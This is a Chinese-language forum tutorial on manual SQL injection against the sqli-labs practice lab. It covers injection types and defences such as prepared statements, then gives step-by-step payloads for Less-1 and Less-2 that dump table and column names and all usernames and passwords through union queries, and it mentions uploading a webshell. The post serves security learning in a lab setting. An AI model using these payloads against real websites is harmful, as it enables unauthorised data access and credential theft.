ToB企服应用市场:ToB评测及商务社交产业平台

标题: SQL注入 - 手工注入sqli-labs [打印本页]

作者: 万有斥力    时间: 2024-5-13 02:41
标题: SQL注入 - 手工注入sqli-labs
SQL注入(SQL Injection)是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先界说好的查询语句的结尾后添加额外的SQL语句,在管理员不知情的情况下实现非法操作。以此来实现诱骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简朴来讲就是:攻击者通过构造恶意的SQL语句来实现对数据库的操作。
两个条件
SQL注入的核心:将输入语句拼接到代码中,并被当成SQL语句执行。
SQL注入可能发生在哪些地方

以下是一些常见的SQL注入发生地点:
SQL注入点如何探测

在输入字段中实验输入特别的SQL字符,如果应用程序返回了数据库错误信息,或者异常,可能就意味着存在SQL注入漏洞。
只要是带有参数的动态网页并且该网页访问了数据库,那么就有可能存在 SQL 注入:
SQL注入的类型有哪些

按照注入点的数据类型来分类
类似结构http://xxx.com/xxx.php?id=1这种形式,注入点id类型为数字。
这一类的 SQL 语句原型大概为select * from table_name where id=1,若存在注入,可以构造出类似与如下的sql注入语句举行注入:
  1. select * from table_name where id=1 and 1=1
复制代码
类似结构http://xxx.com/xxx.php?name=admin这种形式,注入点name类型为字符类型。
这一类的 SQL 语句原型大概为 select * from table_name where name='admin' 这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。可以构造出类似与如下的sql注入语句举行注入:将后引号闭合
  1. select * from table_name where name='admin' and 1=1'
复制代码
按照数据提交的方式来分类:
提交数据的方式是 GET , 注入点的位置在 GET 参数部门。
使用 POST 方式提交数据,注入点位置在 POST 数据部门。
HTTP 请求的时间会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
注入点在 HTTP 请求头部的某个字段中。(严酷讲的话,Cookie 其实应该也是算头部注入的一种形式)
按照执行效果来分类:
即可以根据返回页面判断条件真假的注入。
即用条件语句检察时间延迟语句是否执行(即页面返回时间是否延长)来判断。
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
可以使用 union 的情况下的注入。
可以同时执行多条语句的执行时的注入。
数据库编码与 php 编码设置为不同的两个编码,这样就可能会产生宽字节注入。
SQL注入的一般步调

1. 注入点探测
​        手工注入:
​         工具注入:
2.信息获取
3.权限获取
MySQL数据库注入常用的函数
  1. version():查看数据库版本
  2. database():查看使用的数据库
  3. user():查看当前用户
  4. limit:limit子句分批来获取所有数据
  5. group_concat():一次性获取所有的数据库信息
  6. concat_ws(':','str1','str2','str3'):按 str1:str2:str3 格式拼接字符串
  7. length():返回指定对象的长度
  8. left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)
  9. ascii():返回字符串str的最左字符的数值,ASCII()返回数值是从0到255
  10. updatexml(1,concat(0x7e,(),0x7e),1):一共可以接收三个参数,报错位置在第二个参数(报错注入)
  11. extractvalue(1,concat(0x7e,())):一共可以接收两个参数,报错位置在第二个参数(报错注入)
复制代码
其他
  1. information_schema.tables:包含了数据库里所有的表
  2. table_name:表名
  3. table_schema:数据库名
  4. column_name:字段名
复制代码
SQL注入的防御

例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);
使用预编译的SQL语句,SQL语句的语义不会是不会发生改变的。攻击者无法改变SQL语句的结构,只是把值赋给?,然后将?这个变量传给SQL语句。
强类型语言中一般是不存在数字型注入的,因为在接受到用户输入id时,代码会做数据类型转换。但是没有夸大处理数据类型的语言,一接收id的代码是如下这样:
  1. $id = $_GET['id'];
  2. $SQL = "select * from '某字段' where id = $id;";
复制代码
参加一个检查数字类型函数is_numeric()就可以防止数字型注入。
在MySQL中对" ' "举行转义,这样可以防止一些恶意攻击者来闭合语句。也可以通过一些安全函数来转义特别字符,如addslashes()等。
使用存储过程的效果和使用预编译语句类似,其区别就是存储过程必要先将sql语句界说在数据库中。(尽量避免在存储过程内使用动态的sql语句)
MySQL注入实列

靶场情况:phpstudy当地搭建sqli-labs-php7(原版的sqli只支持php5,搭建过程可能会存在数据库连接失败的情况)
项目地址:https://github.com/skyblueee/sqli-labs-php7
注入工具:火狐浏览器配合hackbar
字符型注入

sqli-labs靶场第一题/sqli-labs-php7-master/Less-1/
1. 注入点探测
先看页面是否有变化?
  1. Split URL: ?id=1 and 1=1
  2. Split URL: ?id=1 and 1=2
复制代码
检察源代码可以很容易的得到sql是如何拼接的
  1. 拼接后的sql:select * from users where id='1 and 1=2' limt 0,1
复制代码

页面没有变化,也没有报错,来判断一下是否为字符型注入?
  1. Split URL: ?id=1'
复制代码
  1. 拼接后的sql:select * from users where id='1'' limt 0,1
复制代码

发现页面报错,告诉我们出现了语法错误,是因为单引号导致的,此题应该为字符型注入。
  1. Split URL: ?id=1' and '1'='1
  2. Split URL: ?id=1' --+
复制代码
  1. 拼接后的sql:select * from users where id='1'and '1'='1' limt 0,1
复制代码

页面回显正常,确定为字符型注入。
--+是sql语句中的一种解释,将前面的sql语句补充完整后,背面跟随解释将不会执行背面的解释。
2. 确定当前表有几列
为什么要确定表中字段的列数呢?
因为背面的union联合查询,使用order by来确定表中的列数。
联合查询特点:要求多条查询语句的查询列数是划一的。
  1. Split URL: Split URL: ?id=1' order by 1 --+
  2. Split URL: Split URL: ?id=1' order by 2 --+
  3. Split URL: Split URL: ?id=1' order by 3 --+
  4. Split URL: Split URL: ?id=1' order by 4 --+
复制代码
  1. 拼接后的sql:select * from users where id='1' order by 4 -- limt 0,1
复制代码

当实验到order by 4根据第四列排序报错了,那么表中没有第四列,一共只有3列。
3. 判断那几列回显
用联合查询(将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位。
  1. Split URL: ?id=-1' union select 1,2,3 --+
复制代码
  1. 拼接后的sql:select * from users where id='-1' union select 1,2,3 -- limt 0,1
复制代码

显示2,3, 那么就说明第2,3列可以回显。
可以回显了以后,就可以之条件到过的各种函数来查询我们必要的信息了。
4. 爆出数据库相关信息
  1. Split URL: ?id=-1' union select 1,database(),version() --+
复制代码
  1. 拼接后的sql:select * from users where id='-1' union select 1,database(),version() -- limt 0,1
复制代码

知道了当前数据库是:security,版本信息:5.7.26。
5. 爆出当前数据库内的所有表名
  1. Split URL: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
复制代码
  1. 拼接后的sql:select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables
  2. where table_schema=database() -- limt 0,1
复制代码

6. 爆出当前数据库user表的所有列名
  1. Split URL: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
  2. and table_schema=database() --+
复制代码

7. 爆出当前数据库user表所有username和password
  1. Split URL: ?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users --+
复制代码

获得了所有的账号和密码。
8. 上传webshell
数字型注入

sqli-labs第二题:/sqli-labs-php7-master/Less-2/
有了上面的示例,接下来就简朴很多了,只要找到注点,其他的大同小异。
1. 注入点探测
利用上面字符型的套路注入,都报错提示存在语法错误,说明原sql语句不必要闭合引号,排除了字符型注入。
  1. Split URL: ?id=1 and 1=1 %23
  2. Split URL: ?id=1 and 1=2 %23
复制代码
%23同样表现解释,经过URL解码后是#
  1. 拼接后的sql:SELECT * FROM users WHERE id=1 and 1=2 # LIMIT 0,1
复制代码

没有显示出内容,其实分析sql语句可以得知是where子句出错了,没有查询结果。
可以判断出是数字型注入。
2. 判断列数与回显情况
这里的判断方法与上面的方法如出一辙,判断出来有3列。
判断回显只用将id换为数字型即可,去掉引号:?id=-1 union select 1,database(),version() --+

接下来的注入语句基本一样。
3. 爆出当前数据库的所有表名
  1. Split URL: ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
复制代码
  1. 拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1
复制代码
4. 爆出当前数据库的users表的所有列名
  1. Split URL: ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() %23
复制代码
  1. 拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # LIMIT 0,1
复制代码
5. 爆出当前数据库users表的所有username和password
  1. Split URL: ?id=-1 union select 1,group_concat(username),group_concat(password) from users %23
复制代码
  1. 拼接后的sql:SELECT * FROM users WHERE id=-1 union select 1,group_concat(username),group_concat(password) from users LIMIT 0,1
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4